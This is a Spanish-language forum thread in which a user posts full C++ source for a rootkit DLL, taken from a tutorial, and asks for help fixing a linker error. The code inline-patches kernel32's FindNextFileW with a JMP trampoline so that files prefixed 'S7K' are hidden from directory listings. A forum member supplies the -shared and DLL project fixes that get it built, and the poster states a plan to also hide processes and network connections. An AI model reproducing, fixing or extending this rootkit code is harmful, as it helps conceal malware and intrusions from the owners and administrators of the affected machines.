Error al compilar una DLL

Iniciado por Schaiden, 10 Julio 2017, 23:01 PM

0 Miembros y 1 Visitante están viendo este tema.

Schaiden

Muy buenas! Estaba investigando sobre DLL injection y quería compilar una DLL en la que se hace api hooking a la system call que lista archivos. Estoy trabajando en Windows 7 x64 con CodeBlocks y el compilador mingw que viene incluido con el IDE. La DLL que quiero compilar la obtuve de éste sitio:

https://losindestructibles.wordpress.com/2012/10/15/creacion-de-rootkit-desde-cero/

Es la siguiente:

Código (c++) [Seleccionar]
#include "StdAfx.h"
#include <windows.h>
#include <iostream>
#include <cstdlib>


// DECLARACIONES:
BYTE *BufferFN;                 // Buffer que usaremos para ejecutar el api original FindNextFileW
char Prefijo[] = "S7K";   // El prefijo que buscaremos para ocultar archivos/carpetas


// FUNCIONES:
void    Hookear();  // Función que hookeará el api


// Función que será llamada en vez de FindNextFileW
HANDLE  __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData);
// Puntero a función con el cual llamaremos al api FindNextFileW original
HANDLE (__stdcall *pBuffFN) (HANDLE hFindFile, LPWIN32_FIND_DATAW lpFindFileData);





// FUNCIÓN MAIN
bool WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
// Si cargan la DLL hookeamos
if (fdwReason == DLL_PROCESS_ATTACH)
{
Hookear();
}
return TRUE;
}



// FUNCIÓN QUE LLAMARÁ EL PROGRAMA PRINCIPLA CREYENDO QUE ES EL API FINDNEXTFILEW
HANDLE  __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData)
{
// Ocultamos los archivos que empiecen por el prefijo indicado

HANDLE hand;
char ascStr[611];

do
{
hand = pBuffFN(hFindFile,lpFindFileData);
WideCharToMultiByte(CP_ACP, 0, lpFindFileData->cFileName, -1, ascStr, 611, NULL, NULL);

}while (strncmp(ascStr,Prefijo,strlen(Prefijo)) == 0 && hand != NULL);

return hand;
}


// FUNCIÓN PARA HOOKEAR FINDNEXTFILEW Y FINDFIRSTFILEW
void Hookear()
{
DWORD ProteVieja;  // Parametro para VirtualProtect
BYTE  *DirFN;      // La dirección en memoria de FindNextFileW
BYTE  *DirYoFN;    // La dirección en memoria de la función que remplaza a FindNextFileW

// --> HOOKEAMOS FINDNEXTFILEW (7 bytes)

// Obtenemos la dirección en memoria de FindNextFileW.
DirFN=(BYTE *) GetProcAddress(GetModuleHandle("kernel32.dll"), "FindNextFileW");

//Reservamos 12 bytes de memoria para nuestro Buffer
//FindNextFileW ocupa 7 bytes en la memoria, y necesitamos 5 más para poner nuestro salto alli estan los 12 bytes :D
BufferFN=(BYTE *) malloc (12);

//Le damos todos los permisos a los 12 bytes de nuestro Buffer
VirtualProtect((void *) BufferFN, 12, PAGE_EXECUTE_READWRITE, &ProteVieja);

// Copiamos los 7 primeros bytes del api en el buffer
memcpy(BufferFN,DirFN,7);
BufferFN += 7;

// En los 5 bytes restantes...
// En el primero introducimos un jmp
*BufferFN=0xE9; //0xE9 es el codigo de operacion del jmp
BufferFN++;

// En los otros 4 la distancia del salto
*((signed int *) BufferFN)= DirFN - BufferFN + 3;

// Asignamos al puntero, la funcion pBuff del inicio del Buffer para poder ejecutar el api original
pBuffFN = (HANDLE (__stdcall *)(HANDLE,LPWIN32_FIND_DATAW)) (BufferFN-8);

// Le damos todos los permisos a los 5 primeros bytes de la api original
VirtualProtect((void *) DirFN,5,PAGE_EXECUTE_READWRITE,&ProteVieja);

// Cambiamos el tipo a puntero a byte para facilitar el trabajo
DirYoFN=(BYTE *) miFindNextFileW;

// En el inicio de la api metemos un jmp para que salte a miFindNextFileW
*DirFN=0xE9;
DirFN++;

// Metemos la distancia del salto
*((signed int *) DirFN)=DirYoFN - DirFN - 4;
// Libermos librerias de cache
       FlushInstructionCache(GetCurrentProcess(),NULL,NULL);
}


Cuando quiero compilarla, el compilador devuelve el error:

undefined reference to `WinMain@16'

Build log:
CitarD:\BACK UP\Agus\zVarios\Jack\Code fuente rootkit\DLL\DLL.cpp: In function 'void Hookear()':
D:\BACK UP\Agus\zVarios\Jack\Code fuente rootkit\DLL\DLL.cpp:104:56: warning: passing NULL to non-pointer argument 3 of 'BOOL FlushInstructionCache(HANDLE, PCVOID, DWORD)' [-Wconversion-null]
mingw32-g++.exe  -o "D:\BACK UP\Agus\zVarios\Jack\Code fuente rootkit\DLL\DLL.exe" "D:\BACK UP\Agus\zVarios\Jack\Code fuente rootkit\DLL\DLL.o"  
c:/program files (x86)/codeblocks/mingw/bin/../lib/gcc/mingw32/4.7.1/../../../libmingw32.a(main.o):main.c:(.text.startup+0xa7): undefined reference to `WinMain@16'
collect2.exe: error: ld returned 1 exit status
Process terminated with status 1 (0 minute(s), 0 second(s))
1 error(s), 1 warning(s) (0 minute(s), 0 second(s))

Imagen:


Quiero entender que estoy haciendo mal, ya que al googlear el error hay mucha gente a la que el compilador les devuelve el mismo error que el mio, pero porque tenían otros errores en su código como por ejemplo usar Main() con mayúscula, u otros, pero no se qué hacer en éste caso en particular... Espero poder compilar ésto asi luego mejoro la DLL para hacer api hooking a system calls que listen procesos y conexiones de red... Muchas gracias por su tiempo!

ivancea96

Para crear una DLL con GCC, tienes que compilar con la opción "-shared". ¿La tienes a la hora de linkear?

Schaiden

#2
Buenas! Gracias por tu tiempo, noté que el mingw32-g++.exe se estaba ejecutando sin el parámetro "-shared", asi que configuré las cosas de la siguiente forma:



Dentro de la sección Compiler Settings, busqué el parámetro -shared dentro de la subcategoría Compiler Flag, como no estaba, la escribí manualmente en la subcategoría Other options como se ve en la imagen. Y cuando quiero compilar, el Build log nos dice efectivamente que mingw se ejecutó con el parámetro -shared (observar en la imagen abajo a la izquierda). Pero sigo teniendo el mismo error de siempre, aún habiendo incluído ese parámetro...

Alguna otra idea? Gracias por adelantado.

ivancea96

Todo está bien salvo que lo pusiste en compilador. El parámetro -shared es del linker. Tú quieres que ese parámetro aparezca en la segunda parte, donde el "g++.exe -o ...". Para ello, coloca ese parámetro en la pestaña "Linker settings".

Como explicación racional a todo esto:
Se puede compilar sin main un código. Generas el código de las funciones o datos que haya. El problema viene a la hora de linkear. Si quieres linkear los códigos objeto para generar un ejecutable, necesita un punto de entrada, el "main". Es por eso que da el error, al no encontrarlo. Claro que al pasarle el -shared, ya no es un ejecutable, sinó una DLL, que no lo necesita.

Schaiden

Excelente! Muchisimas gracias por responder tan rápido, ahí hice las cosas como me indicaste y pude compilar a la perfección :D

Lo único que la DLL se creó con extensión .exe: "DLL.exe" en lugar de "DLL.dll". Si cambio la extensión por .dll renombrando al archivo podría utilizarla como cualquier otra dll?

Saludos y gracias!

ivancea96

Umh bueno, acerca de eso...
Code::Blocks tiene un tipo de proyecto que es Dynamic Link Library, DLL vaya. Si seleccionas ese tipo de proyecto al crearlo, te lo hace automáticamente todo esto.
De todos modos, si va sa Propiedades del proyecto -> Build targets, verás que hay un selector, y una de sus opciones es "Dynamic library". En tu caso, por defecto estará puesto a "Console application", supongo. Si lo cambias ya debería estar, y ya no tendrías que poner el -shared (lo cierto es que esta opción mejor dejársela al IDE xD)

Y con respecto a si cambiándole la extension funcionará, no lo sé. Prueba jaja